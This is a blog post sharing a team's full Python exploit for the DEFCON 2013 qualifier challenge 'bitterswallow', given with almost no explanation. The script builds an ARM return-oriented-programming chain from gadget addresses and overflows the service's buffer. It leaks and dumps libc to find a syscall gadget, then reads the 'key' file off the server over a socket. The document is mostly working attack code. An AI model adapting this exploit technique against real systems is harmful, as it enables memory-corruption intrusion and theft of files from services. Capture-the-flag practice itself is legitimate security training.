DEFCON 2013 Quals - bitterswallow

Published November 20, 2014

The main contributors in solving this challenge were zardus and me. This is simply a copy of our exploit for bitterswallow. I stumbled upon it while going through some old backups. I did not get around to do a write up back then, and I probably will not do one any time soon, but I hope this interesting anyways :)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = "@caovc @zardus"
__team__ = "shellphish"
__description__ = "defcon quals 2013; bitterswallow"


import sys
import struct
import socket


class Address:
    pop_r1_pc = 0x1e38c
    pop_r3_pc = 0x8df0
    pop_r1_r2_lr = 0x1e370
    pop_r4_r5_r6_r7_fp = 0x1a670
    mov_r0_r2 =  0x1e330
    ldmfd_sp_r11_pc = 0x9ab4


class Gadgets:
    @staticmethod
    def pop_r1_pc(r1=0, pc=0, init=False):
        # pop {r1 pc}
        r = [r1, pc]
        if init:
            r = [Address.pop_r1_pc] + r
        return r

    @staticmethod
    def pop_r3_pc(r3=0, pc=0, init=False):
        # pop {r3 pc}
        r = [r3, pc]
        if init:
            r = [Address.pop_r3_pc] + r
        return r

    @staticmethod
    def pop_r1_r2_lr(lr=0, r1=0, r2=0, init=False):
        """ @garbles: r1 r3
        """
        # pop {r1 r2 lr}
        # mul r3 r2 r0
        # sub r1 r1 r3
        # bx lr
        r = [r1, r2, lr]
        if init:
            r = [Address.pop_r1_r2_lr] + r
        return r

    @staticmethod
    def pop_r4_r5_r6_r7_fp(r4=0, r5=0, r6=0, r7=0, fp=0, init=False):
        """ @requires: lr set properly
        """
        # pop {r4 r5 r6 r7 fp}
        # bx lr
        r = [r4, r5, r6, r7, fp]
        if init:
            r = [Address.pop_r4_r5_r6_r7_fp] + r
        return r

    @staticmethod
    def mov_r0_r2(init=False):
        """ @requires: lr set properly
        """
        # mov r0 r2
        # bx lr
        r = []
        if init:
            r = [Address.mov_r0_r2]
        return r

    @staticmethod
    def ldmfd_sp_r11_pc(r11=0, pc=0, init=False):
        # ldmfd sp!, {r11, pc}
        r = [r11, pc]
        if init:
            r = [Address.ldmfd_sp_r11_pc] + r
        return r


class ROP:
    @property
    def chain(self):
        packed = [struct.pack("<I", i) for i in self._chain]
        return "".join(packed)

    def __init__(self, syscall_addr=0xCAFEBABE):
        self._chain = []
        self._syscall_addr = syscall_addr

    def inf_loop(self):
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.pop_r1_r2_lr + 16,
                                            init=True)
        return self

    def syscall(self, syscall, arg0=0, arg1=0, arg2=0, arg3=0, arg4=0,
                arg5=0, arg6=0, init=False):
        # We actually need to set lr properly first
        if not init:
            self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)

        # Prepare read arguments
        # r0 = arg0
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=arg0,
                                            init=init)
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.mov_r0_r2)
        self._chain += Gadgets.mov_r0_r2()

        # r2 = arg2
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=arg2)

        # r1 = arg1
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_pc)
        self._chain += Gadgets.pop_r1_pc(pc=Address.pop_r3_pc,
                                        r1=arg1)

        # r3 = arg3
        self._chain += Gadgets.pop_r3_pc(pc=Address.pop_r4_r5_r6_r7_fp,
                                            r3=arg3)

        # r7 = syscall
        self._chain += Gadgets.pop_r4_r5_r6_r7_fp(r4=arg4, r5=arg5, r6=arg6,
                                                    r7=syscall)

        # syscall magic, assumes register after is lr
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=self._syscall_addr)

        # Jump to next gadget
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.ldmfd_sp_r11_pc)

        return self

    def open(self, filename, mode, init=False):
        return self.syscall(5, filename, mode, init=init)

    def read(self, fd, buf, n, init=False):
        return self.syscall(3, fd, buf, n, init=init)

    def write(self, fd, buf, n, init=False):
        return self.syscall(4, fd, buf, n, init=init)

    def sendfile(self, out_fd, in_fd, offset, count, init=False):
        return self.syscall(0xbb, out_fd, in_fd, offset, count, init=init)

    def exit(self, code, init=False):
        return self.syscall(1, code, init)

    def send(self, fd=0, buf=0, n=0, flags=0, init=False):
        # r0 = fd
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=fd,
                                            init=init)
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.mov_r0_r2)
        self._chain += Gadgets.mov_r0_r2()

        # r2 = n
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=n)

        # r1 = buf
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_pc)
        self._chain += Gadgets.pop_r1_pc(pc=Address.pop_r3_pc,
                                         r1=buf)

        # r3 = flags and change pc to send trampoline
        self._chain += Gadgets.pop_r3_pc(pc=0x8d34,
                                         r3=flags)

        return self


if __name__ == "__main__":
    from argparse import ArgumentParser
    parser = ArgumentParser()
    parser.add_argument("-f", "--filename", default="key")
    parser.add_argument("-n", "--bytes", default=100, type=int)
    parser.add_argument("--host", default="bitterswallow.shallweplayaga.me")
    parser.add_argument("--port", default=6492, type=int)
    parser.add_argument("--hash", default=11, type=int)
    args = parser.parse_args()

    pre = 1092
    bss = 0x27000
    fd_next, fd_out = 3, 4

    def rop(chain, input="", recv=0):
        sock = socket.socket()
        sock.connect((args.host, args.port))
        sock.recv(len("Welcome to the sums.\n"))
        sock.recv(len("Are you ready? (y/n): "))

        # Prepare exploit
        initial = "y\x32\x04\x00" + struct.pack("<I", args.hash) + "y\x1a"
        sock.send(initial)

        expected = struct.unpack("<H", sock.recv(64)[60:62])[0]
        assert (1500 <= expected <= 4000)
        sock.recv(len("Would you like to sum another\? \(y/n\): "))

        # ROP ROP ROP
        post = expected - pre - len(chain)
        chain = "{}{}{}".format("A" * pre, chain, "B" * post)
        sock.send(chain)

        # Exit and trigger ROP
        sock.recv(len("Would you like to sum another\? \(y/n\): "))
        sock.send("n")

        # Pass output
        sock.send(input)
        out = sock.recv(recv)

        sock.close()
        return out

    # Find libc offset from the import table (fork = ASLR stays for children)
    print "[*] Let's get ze libc address..."
    libc_send = 0x271c0

    libc = ROP()
    libc.send(4, libc_send, 4, init=True)

    libc_send_addr = struct.unpack("<I", rop(libc.chain, recv=4))[0]
    print "[*] Found libc's send @ 0x{:x}".format(libc_send_addr)

    # Let's search in libc for gadget that worked locally
    print "[*] Looking for chainable syscall gadget"
    syscall_gadget = [0xef000000,   # svc 0
                      0xe1a0700c,   # mov r7, ip
                      0x312fff1e]   # bxcc lr

    libc_content = ROP()
    libc_content.send(4, libc_send_addr, 0xFFFF, init=True)

    libc = rop(libc_content.chain, recv=0xFFFF)
    offset = libc.index("".join(struct.pack("<I", i) for i in syscall_gadget))

    if not offset:
        print "[E] Didn't find the working syscall, different libc version :("
        print "    I dumped libc for you to ./libc_send.dump"
        with open("libc_send.dump", "w") as f:
            f.write(libc)
        sys.exit(1)

    libc_syscall = libc_send_addr + offset
    print "[*] Found syscall @ 0x{:x}".format(libc_syscall)

    # open/read/write to give us the key
    print "[*] ROPing down from da choppah"
    args.filename = args.filename + "\0"

    key = ROP(libc_syscall)
    key.read(fd_out, bss, len(args.filename), init=True)
    key.open(bss, 0)
    key.sendfile(fd_out, fd_next, 0, args.bytes)
    # key.read(fd_next, bss, args.bytes)
    # key.write(fd_out, bss, args.bytes)
    key.exit(0)

    print rop(key.chain, input=args.filename, recv=args.bytes)